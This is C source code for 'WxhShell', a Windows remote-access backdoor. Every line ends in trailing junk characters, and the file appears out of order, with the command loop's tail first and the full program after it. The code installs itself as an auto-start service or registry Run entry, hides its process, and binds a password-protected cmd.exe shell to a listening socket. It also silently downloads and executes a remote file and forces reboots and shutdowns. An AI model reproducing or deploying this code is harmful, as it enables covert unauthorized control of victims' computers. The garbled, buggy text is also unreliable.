    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _.Ey_K_1  
    if(Boot(SHUTDOWN)) =U:9A=uEvS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vrS)VJg`  
    else { AixQR[Ul*c  
    closesocket(wsh); 95`Q=I|i  
    ExitThread(0); 3 #fOrNU2  
    }  zw13Tu  
    break; jGM+  
    }  |7ga9  
  // 获取shell aY/msplC  
  case 's': { $~#N1   
    CmdShell(wsh); 994   
    closesocket(wsh); ."N`X\  
    ExitThread(0); x2P}8Idg?A  
    break; 3' HtT   
  } {I/|7b>@r  
  // 退出 rZ.,\ X_  
  case 'x': { OokBi 02b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); buIy+  
    CloseIt(wsh); [G(}`u8w"  
    break; _`Ojh0@00  
    } WK{{U$:$  
  // 离开 {l/]+8G^  
  case 'q': { A5d(L4Q]a(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8 *Fr=+KN  
    closesocket(wsh); @,b:s+]rp  
    WSACleanup(); bzz{ p1e  
    exit(1); ^8_`IT  
    break; ) h*)_7  
        } (6jr}kP  
  } =1rq?M eX  
  } a$Lry?pb  
f zu#!  
  // 提示信息 q&eUw<(F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M<f=xY2$v  
} "8p fLI  
  } D.e4S6\&  
UV?.KVD~  
  return; x#mZSSd  
} SC'F,!  
LU#DkuIG  
// shell模块句柄 Dy>U=(S  
int CmdShell(SOCKET sock) ^bVY&iXNu  
{ _}_lrg}U  
STARTUPINFO si; ;$ot,mH?T  
ZeroMemory(&si,sizeof(si)); 1wx&/ #a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MX3ss,F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h6!o,qw"  
PROCESS_INFORMATION ProcessInfo; ya+eGD@N':  
char cmdline[]="cmd"; @J[l^o9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'IaI7on  
  return 0; In-W,   
} V;b^b5yZ>  
_g%Wx?K9  
// 自身启动模式 T>"GH M  
int StartFromService(void) Ek!$Ary  
{ 4r@dV%:%<  
typedef struct >[4;K&$B  
{ myp}DI(  
  DWORD ExitStatus; Y,v8eOo45S  
  DWORD PebBaseAddress; J6*Zy[)%&S  
  DWORD AffinityMask; HvITw%`  
  DWORD BasePriority; yIS.'mK  
  ULONG UniqueProcessId; ;l]OmcL  
  ULONG InheritedFromUniqueProcessId; |+?ABPk"  
}   PROCESS_BASIC_INFORMATION; S#M<d~rK  
(7P{k<5  
PROCNTQSIP NtQueryInformationProcess; a'/yN{?p  
69Y>iPRU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :#M(,S"Qq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UX-l`ygl  
8]DN]\\o  
  HANDLE             hProcess; mp_(ke  
  PROCESS_BASIC_INFORMATION pbi; !ul)e;a  
Sb&sW?M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xg'FC/1LD  
  if(NULL == hInst ) return 0; T=8> 0D^v5  
ulnG|3A9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O/gBBTB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sLx!Do$'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E6);\SJG}  
>$gWeFu  
  if (!NtQueryInformationProcess) return 0; x\ : x`k@  
i8$tId  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w!NtN4>  
  if(!hProcess) return 0; h[()!\vBy  
.Gq)@{o>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =rj5 q  
"RuH"~o  
  CloseHandle(hProcess); tS2P|fl  
]xf lfZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &A=q_  
if(hProcess==NULL) return 0; _ ?f~UvK  
U!@3['  
HMODULE hMod; ]Y|Y?  
char procName[255]; &`7tX.iMlh  
unsigned long cbNeeded; (h0i2>K  
q9- =>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )Cuc ]>SC  
j)Z3m @Ii5  
  CloseHandle(hProcess); YoD1\a|  
cad%:%p  
if(strstr(procName,"services")) return 1; // 以服务启动 NpRT\cx3  
YaTJKgi"0  
  return 0; // 注册表启动 B\2<r5|QG  
} $'}:nwq6x  
+ M2|-C  
// 主模块 tzv&E0 |d  
int StartWxhshell(LPSTR lpCmdLine) ~ifo7,  
{ UzVnC:  
  SOCKET wsl; P,Fs7  
BOOL val=TRUE; Aa* UV6(v  
  int port=0; M*)}F  
  struct sockaddr_in door; RdlcJxM  
EEQW$W1@  
  if(wscfg.ws_autoins) Install(); /}?"O~5M"  
R1'bB"$  
port=atoi(lpCmdLine); ]}/LNO*L"  
;o;P2}zD  
if(port<=0) port=wscfg.ws_port; ,HXY|fYr  
TY"=8}X1  
  WSADATA data; 6xSdA;<+]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `gq@LP"o  
3_(fisvx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n!mtMPH$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); be`\ O  
  door.sin_family = AF_INET; ,R=Mr}@u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C?Dztkz  
  door.sin_port = htons(port); ~ ={8b  
T78`~-D4<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l]whL1N3  
closesocket(wsl); kUAjQ>  
return 1; ]zHUF!a*  
} x$9UHEb kM  
*a xOen  
  if(listen(wsl,2) == INVALID_SOCKET) { H kDT14 `&  
closesocket(wsl); r8XY"<  
return 1; |`9POl=  
} =LHE_ AA  
  Wxhshell(wsl); q4$zsw  
  WSACleanup(); sHO6y0P  
Le"$ksu>  
return 0; nG&= $7x^  
;5 cg<~t  
} t^. U<M  
c@)k#/[[b  
// 以NT服务方式启动 ^w4FqdGM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xZt]s3?  
{ tWVbD%u^  
DWORD   status = 0; [E_6n$w  
  DWORD   specificError = 0xfffffff; ?4wS/_C/  
NKd!i09`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [ aj F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I&|%Fn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K2<Q9 ,vt  
  serviceStatus.dwWin32ExitCode     = 0; aG QC  
  serviceStatus.dwServiceSpecificExitCode = 0;  :0ZFbIy  
  serviceStatus.dwCheckPoint       = 0; uArs[e|f  
  serviceStatus.dwWaitHint       = 0; zYfn;s%A  
[gFpFz|b<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P6* IR|  
  if (hServiceStatusHandle==0) return; yhQv $D,^f  
b|t` )BF  
status = GetLastError(); fkWuSGi  
  if (status!=NO_ERROR) G 8OLx+!0e  
{ $O,$KAC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2SEfEkk  
    serviceStatus.dwCheckPoint       = 0; A:F*Y%ZW  
    serviceStatus.dwWaitHint       = 0; \?&P|7N  
    serviceStatus.dwWin32ExitCode     = status; +N2?fgA  
    serviceStatus.dwServiceSpecificExitCode = specificError; dK,j|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0EfM~u  
    return; ,g%2-#L%  
  } {E!ie{~  
A-r-^S0\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5+dQGcE@  
  serviceStatus.dwCheckPoint       = 0; QkUq%}_0  
  serviceStatus.dwWaitHint       = 0; NxVqV5 '  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j[Uul#  
} 0XFJ/  
O=8:K'  
// 处理NT服务事件,比如:启动、停止 J3cbDE%^m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P4"_qxAW  
{ to9 u%d8  
switch(fdwControl) P31}O2 Nh  
{ MrEyN8X  
case SERVICE_CONTROL_STOP:  Ko9"mHNB  
  serviceStatus.dwWin32ExitCode = 0; ~{'.9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4F EOV,n  
  serviceStatus.dwCheckPoint   = 0; IQxY]0\uf6  
  serviceStatus.dwWaitHint     = 0; %M^X>S\%  
  { {tMpI\>S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w+ gA3Dg  
  } Y s[JxP  
  return; Zp]{e6J  
case SERVICE_CONTROL_PAUSE: +{N LziO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =xScHy{$  
  break; B ?96d'A  
case SERVICE_CONTROL_CONTINUE: lDd+.44V:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Se+sgw_"  
  break; Rok` }t  
case SERVICE_CONTROL_INTERROGATE: `sOCJ|rc5  
  break; 4ihv|%@  
}; LL@VR#n"V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J4!Om&\@  
} E]V:@/(M'  
&S9Sl  
// 标准应用程序主函数 9cud CF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zz3Rld!b[  
{ _3-nw  
V6Ie\+@.\  
// 获取操作系统版本 1?sR1du,  
OsIsNt=GetOsVer(); hK*:pf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B;?)   
1\t}pGSOeh  
  // 从命令行安装 KW|X\1H  
  if(strpbrk(lpCmdLine,"iI")) Install(); )3PQ|r'  
?it49  
  // 下载执行文件 4^(u6tX5|+  
if(wscfg.ws_downexe) { 0\# uxzdhJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =qiX0JT  
  WinExec(wscfg.ws_filenam,SW_HIDE); l/0TNOA  
} DJP)V8]!B  
~.7r  
if(!OsIsNt) { Y}%=:Yt  
// 如果时win9x,隐藏进程并且设置为注册表启动 v`evuJ\3  
HideProc(); YqwDvJWX  
StartWxhshell(lpCmdLine); gE'b.04Y9i  
} .w2X24Mmb  
else is?H1V~8`$  
  if(StartFromService()) k ]C+/  
  // 以服务方式启动 V}(snG,  
  StartServiceCtrlDispatcher(DispatchTable); |uVhfD=NG  
else !4 `any  
  // 普通方式启动 nf?;h!_7  
  StartWxhshell(lpCmdLine); Cp(,+ dD  
=o]V!MW  
return 0; o\u31,  
} 1"ko wp  
\hv1"WaJ  
1c_qNI;:p  
 Ub(zwR;  
=========================================== a}eM ny  
5#/" 0:2  
]^:l?F\h  
uCuXY#R+  
8t3@ Hi  
pn?c6K vO  
" 10xo<@l  
<kIg>+  
#include <stdio.h> v]+,kbT  
#include <string.h> } _Yk.@J5  
#include <windows.h> {tn%HK">  
#include <winsock2.h> .6S]\dp7~  
#include <winsvc.h> NY(c4fzl  
#include <urlmon.h> zB`)\  
e{@TR x  
#pragma comment (lib, "Ws2_32.lib") H~x,\|l#  
#pragma comment (lib, "urlmon.lib") qYZ\< h^  
Wo=Q7~  
#define MAX_USER   100 // 最大客户端连接数 cU7 c}?J<  
#define BUF_SOCK   200 // sock buffer )>08{7  
#define KEY_BUFF   255 // 输入 buffer Kt3/C'zu  
*L> gZ`Q  
#define REBOOT     0   // 重启 `~Nd4EA)2  
#define SHUTDOWN   1   // 关机 NMb`d0;(  
A; Rr#q<  
#define DEF_PORT   5000 // 监听端口 oW3{&vfz  
9NvV{WI-1  
#define REG_LEN     16   // 注册表键长度 ^50#R< Ny  
#define SVC_LEN     80   // NT服务名长度 XmN3[j  
J/Ki]T9  
// 从dll定义API d54(6N%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4h wUH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0kP, Zj<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &qqS'G*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Uv'.]#H<  
GW a_^  
// wxhshell配置信息 "QA <5P  
struct WSCFG { u (V4KUk  
  int ws_port;         // 监听端口 sxcpWSGA^  
  char ws_passstr[REG_LEN]; // 口令 oZ;u>MeZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?z>ZsD  
  char ws_regname[REG_LEN]; // 注册表键名 1!<k-vt  
  char ws_svcname[REG_LEN]; // 服务名 }.w@. S"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $$+6=r}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c`I`@Bed  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <EKDP>,~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >!:uVS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1MV\Jm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ilL] pU-  
A`2l;MW  
}; ~9#[\/;"  
9Cbf[\J!bq  
// default Wxhshell configuration aLapb5VV  
struct WSCFG wscfg={DEF_PORT, l%]S7|PKx  
    "xuhuanlingzhe", %Z?2 .)  
    1, zM?JLNs]<{  
    "Wxhshell", (.Yt| "j  
    "Wxhshell", }ybveZxv5A  
            "WxhShell Service", @+1-_Q`s/R  
    "Wrsky Windows CmdShell Service", M rpn^C2)  
    "Please Input Your Password: ", !7XAc,y  
  1, qXO@FW]  
  "http://www.wrsky.com/wxhshell.exe", @WVpDhG  
  "Wxhshell.exe" ImQ?<g8$  
    }; `Cy-*$$  
Enr8"+.(  
// 消息定义模块 vB >7W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i_8q!CL@{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ek6PMZF:'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8*y hx  
char *msg_ws_ext="\n\rExit."; _:F0>=$  
char *msg_ws_end="\n\rQuit."; N q %@(K  
char *msg_ws_boot="\n\rReboot..."; dX|(n.}  
char *msg_ws_poff="\n\rShutdown..."; \5.36Se  
char *msg_ws_down="\n\rSave to "; g}nlb.b]{m  
LO{{3No  
char *msg_ws_err="\n\rErr!"; w7}m T3p,)  
char *msg_ws_ok="\n\rOK!"; ]&%_Fpx  
C8i6ESmU  
char ExeFile[MAX_PATH]; _/0vmgQ&  
int nUser = 0; !U38aHG  
HANDLE handles[MAX_USER]; =9@{U2 =l  
int OsIsNt; !}fq%8"-  
t>;u;XY!;  
SERVICE_STATUS       serviceStatus; >-fOkOWXy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vL~nJv  
- `^594  
// 函数声明 P}B{FIpNG  
int Install(void); /-BKdkBCpZ  
int Uninstall(void); V;$ME4B\{  
int DownloadFile(char *sURL, SOCKET wsh); $,R QA^gxW  
int Boot(int flag); 6rlafISvO  
void HideProc(void); h3y0bV[g=  
int GetOsVer(void); ?.66B9Lld  
int Wxhshell(SOCKET wsl); p%A s6.  
void TalkWithClient(void *cs); Zhb) n  
int CmdShell(SOCKET sock); Lk{ES$  
int StartFromService(void); pj?wQ'  
int StartWxhshell(LPSTR lpCmdLine); z^s/7Va[  
4L}i`)CmB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1j7^2Y|UT`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7u/_3x1  
QfjgBJo%  
// 数据结构和表定义 (izGF;N+  
SERVICE_TABLE_ENTRY DispatchTable[] = z/zUb``  
{ r}ZL{uWMW  
{wscfg.ws_svcname, NTServiceMain}, Bu4J8eLx  
{NULL, NULL} T0Lh"_X3  
}; 3_k.`s_Z  
2L}F=$zz  
// 自我安装 kc#<Gr&Z&  
int Install(void) }!{9tc$<b  
{ ] ;X[xs  
  char svExeFile[MAX_PATH]; U_!Wg|  
  HKEY key; QRb iO  
  strcpy(svExeFile,ExeFile); PYWp2V/  
X1Vx 6+[  
// 如果是win9x系统,修改注册表设为自启动 \%Wu`SlDp9  
if(!OsIsNt) { [_W#8{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p^1s9CM%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /.!ytHw8  
  RegCloseKey(key); o'nju.'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5P{PBd}glp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); owYf1=G  
  RegCloseKey(key); +dd\_\  
  return 0; {.=4;   
    } 2S'{$m)  
  } m,U Mb#7Y  
} .|=~x3mPw  
else { t# cm |  
.ET@J`"M  
// 如果是NT以上系统,安装为系统服务 $kPC"!X\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E#'JYz@  
if (schSCManager!=0) zq ;YE  
{ ^~iu),gu  
  SC_HANDLE schService = CreateService .{,PC  
  ( %-C   
  schSCManager, pRS+vV3  
  wscfg.ws_svcname, @ 63Uk2{W>  
  wscfg.ws_svcdisp, OhUEp g[  
  SERVICE_ALL_ACCESS, rGjP|v@3^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iDp'M`(6h  
  SERVICE_AUTO_START, uLok0"}  
  SERVICE_ERROR_NORMAL, @uru4>1_dy  
  svExeFile, ktQMkEj#  
  NULL, YK(I '  
  NULL, Ww8<f$  
  NULL, %mLQ'$  
  NULL, bvVEV  
  NULL dg#w/}}m  
  ); 3/+r*lv>X  
  if (schService!=0) qfF/X"#0  
  { ')]K&  
  CloseServiceHandle(schService); NCm>iEeY  
  CloseServiceHandle(schSCManager); xw2dEvjgp%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jhs('n,  
  strcat(svExeFile,wscfg.ws_svcname); XN+~g.0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "VEA71  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d4'*K1m   
  RegCloseKey(key); Gwl]sMJ  
  return 0; /F#_~9JXG  
    } h>jLhj<07W  
  } R+}x#  
  CloseServiceHandle(schSCManager); \^=Wp'5R  
} or2BG&W  
} X~ca8!Dq  
6|# +  
return 1; f+*wDH  
} tl.I:A5L  
k [6%+  
// 自我卸载 i-6,r[<  
int Uninstall(void) P<&-8QA  
{ i7@qfe$fR  
  HKEY key; cL/ 6p0S  
fb8"hO]s  
if(!OsIsNt) { 6]`XW 0{C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kGaK(^w  
  RegDeleteValue(key,wscfg.ws_regname); QL_~E;U  
  RegCloseKey(key);  {@XzY>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5v1f?btc  
  RegDeleteValue(key,wscfg.ws_regname); -p|JJx?r  
  RegCloseKey(key); wD(1Sr5n  
  return 0; ARcPHV<(2  
  } l5?fF6#j  
} ;=.i+  
} 2L=+z1%I  
else { 6O|B'?]Pf  
hN(sz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d=?Kk4Ag  
if (schSCManager!=0) KC@F"/h`/  
{ aD5jy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ",U>;`  
  if (schService!=0) j Wa%vA  
  { l# -4}95  
  if(DeleteService(schService)!=0) { j2oHwt6"  
  CloseServiceHandle(schService); N*d )<8_  
  CloseServiceHandle(schSCManager); D%PrwfR  
  return 0; r&^LSTU0!  
  } &c;@u?:@S  
  CloseServiceHandle(schService); 3$c Im+  
  } >0#WkmRY  
  CloseServiceHandle(schSCManager); \tL 9`RKpg  
} G$hH~{Y$  
} }zA kUt  
K6vF}A|  
return 1; hqEn D  
} PQ}q5?N  
RPb/U8  
// 从指定url下载文件 Vfm (K  
int DownloadFile(char *sURL, SOCKET wsh) &`` dI,NC  
{ f T7Z6$  
  HRESULT hr; Z^Y_+)=s  
char seps[]= "/"; +4[L_  
char *token; a(!_ 3i@  
char *file; ; E Nhy  
char myURL[MAX_PATH]; aD 33! :y  
char myFILE[MAX_PATH]; P=Au~2X  
N$Pi4  
strcpy(myURL,sURL); ?kOtK  
  token=strtok(myURL,seps); B.zRDB}i=  
  while(token!=NULL) >Ln/)j  
  { I/whpOg  
    file=token; yJ(BPSt  
  token=strtok(NULL,seps); >U.)?>G/dt  
  } g>])O  
Vl91I+Ev  
GetCurrentDirectory(MAX_PATH,myFILE); qu}`;\9@ld  
strcat(myFILE, "\\"); ROWb:tX}  
strcat(myFILE, file); + -[M 7J  
  send(wsh,myFILE,strlen(myFILE),0); $UgQ1Qc  
send(wsh,"...",3,0); 2(_+PQ6C=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b< ]--\  
  if(hr==S_OK) @-uV6X8|  
return 0; )3W`>7>  
else XiP xg[;  
return 1; ]h]|PdN  
y)`f$Hl@1  
} -2)6QKh~D  
!/1aot^(  
// 系统电源模块 ]_8bX}_n  
int Boot(int flag) u`%Kh_  
{ (A\X+S(  
  HANDLE hToken; g;N)K3\2  
  TOKEN_PRIVILEGES tkp; 80i-)a\n  
]u;Ma G=;  
  if(OsIsNt) { x1g0_&F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9qhX\, h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5"x=kp>!d  
    tkp.PrivilegeCount = 1; _$wXHONt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'X()|{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f-w-K)y$ht  
if(flag==REBOOT) { XkG:1H;Q%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b^SQCX+P  
  return 0; ck=x_HB1  
} Dd1\$RBo  
else { 3J^"$qfSn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'N-nFc^  
  return 0; i)vbmV  
} T d7f  
  } ;7Hse^Oc  
  else { d0@&2hO  
if(flag==REBOOT) { =}bDT2Nb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pN-l82]'  
  return 0; Bz&6kRPv  
} >8I?YT.  
else { X/=*o;":  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d&!;uzOx  
  return 0; ,BUDo9h  
} WFl, u!"A  
} k0%*{IVPN  
0|1)cO}Dy  
return 1; ~OuKewr\  
} V^n?0^o  
0^5*@vt  
// win9x进程隐藏模块 75u5zD   
void HideProc(void) utH,pGs C.  
{ Y[(U~l,a+  
hJkP_( +J\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); : h"Bf@3  
  if ( hKernel != NULL ) {8!\aYI  
  { W@X/Z8.(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v;S_7#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q%G"P*g$(  
    FreeLibrary(hKernel); aP#nK  
  } /(iq^  
3Pj#k|(f[0  
return; 7P& O{tl(  
} V30Om3C  
w=dTa5  
// 获取操作系统版本 ,YEwz3$5u  
int GetOsVer(void) ^Po^Co  
{ \Zpg,KOT  
  OSVERSIONINFO winfo; 2J>v4EWC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0 `Yg  
  GetVersionEx(&winfo); Cb`2"mpWS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *B$$6'hi`  
  return 1; 91|0{1  
  else OA_WjTwDs  
  return 0; f Fr[ &\[  
} ?h7,q*rxk  
X&s@S5=r]  
// 客户端句柄模块 dX720/R  
int Wxhshell(SOCKET wsl) y4j J&  
{ RM5$O+"  
  SOCKET wsh; IB'gY0*  
  struct sockaddr_in client; |a>W9Ym  
  DWORD myID; +7`7cOqXg  
'@jP$6T&  
  while(nUser<MAX_USER) D-v}@tS'  
{ M, uQ8SZA[  
  int nSize=sizeof(client); +2qCH^80  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z 1~2w:  
  if(wsh==INVALID_SOCKET) return 1; VL[}  
Wu{cE;t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vs*Q {  
if(handles[nUser]==0) n7CwGN%  
  closesocket(wsh); lhp.zl  
else ^V5VRGq  
  nUser++; []\=(Uc;  
  } dKG2f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lRy^Wp  
 qHU=X"rn  
  return 0; 4!l%@R>O2  
} x{o&nhuk[S  
2. t'!uwI  
// 关闭 socket =!?4$vW  
void CloseIt(SOCKET wsh) @(b;H0r~  
{ h'wI  
closesocket(wsh); JBvMe H5  
nUser--; km 0LLYG  
ExitThread(0); ?y1G,0,  
} dTATJ)NH  
{ Rd){ky@  
// 客户端请求句柄 .huk>  
void TalkWithClient(void *cs) c9uln  
{ 9'{i |xG  
(**k4c,  
  SOCKET wsh=(SOCKET)cs; oP%'8%tk  
  char pwd[SVC_LEN]; ?Dr_WFNjO  
  char cmd[KEY_BUFF]; <kc9KE  
char chr[1]; +nOa&d\  
int i,j; bb@3%r|_<  
[k<w'n*  
  while (nUser < MAX_USER) { JSCZX:5  
)<>1Q{j@  
if(wscfg.ws_passstr) { EN\ uX!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (mR ;MC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }O7!>T  
  //ZeroMemory(pwd,KEY_BUFF); DJ]GM|?  
      i=0; 5N5Deb#V  
  while(i<SVC_LEN) { #rps2nf.j  
%F.^cd"  
  // 设置超时 I<&(Dg|XQ  
  fd_set FdRead; JKJ+RkXf3  
  struct timeval TimeOut; !! \O B6  
  FD_ZERO(&FdRead); It@1!_tO2  
  FD_SET(wsh,&FdRead); MlVVST  
  TimeOut.tv_sec=8; u?a4v\  
  TimeOut.tv_usec=0; P c'0.4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5 `Mos  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]ssX,1#Xh  
5Mb5t;4b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T\"eqa  
  pwd=chr[0]; F?3zw4Vt~  
  if(chr[0]==0xd || chr[0]==0xa) { av; ~e<  
  pwd=0; SI~MTUqt  
  break; LOPw0@  
  } :krdG%r  
  i++; m7n8{J1O2  
    } $={^':Uh  
*D_pFS^l  
  // 如果是非法用户,关闭 socket :'+- %xUM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y`tv"v2  
} aN,.pLe;  
%s(Ri6R&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D'UYHc {  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;bh[TmQTJ  
uJg|  
while(1) { [\|p~Qb)s  
]y52%RAKI  
  ZeroMemory(cmd,KEY_BUFF); '(S@9%,aK1  
H\[:uUK5\  
      // 自动支持客户端 telnet标准   ^j)0&}fB  
  j=0; 6.0/asN}  
  while(j<KEY_BUFF) { !=t.AgmL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kH9fK80  
  cmd[j]=chr[0]; T=- $ok`G  
  if(chr[0]==0xa || chr[0]==0xd) { V]fsjpvlmr  
  cmd[j]=0; )RZ:\:c  
  break; .~L^h/)Gjy  
  } 'UN 'gXny  
  j++; 08pG)_L  
    } ?A\[EI^  
O.+02C_*  
  // 下载文件 8h=Rfa9  
  if(strstr(cmd,"http://")) { @*s7~:VQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '4 x uH3  
  if(DownloadFile(cmd,wsh)) -$0w-M8'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z'ZN^j{  
  else _go1gf7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HT@/0MF{J  
  } -NgL4?p=  
  else { y"o@?bny  
FJYc*l  
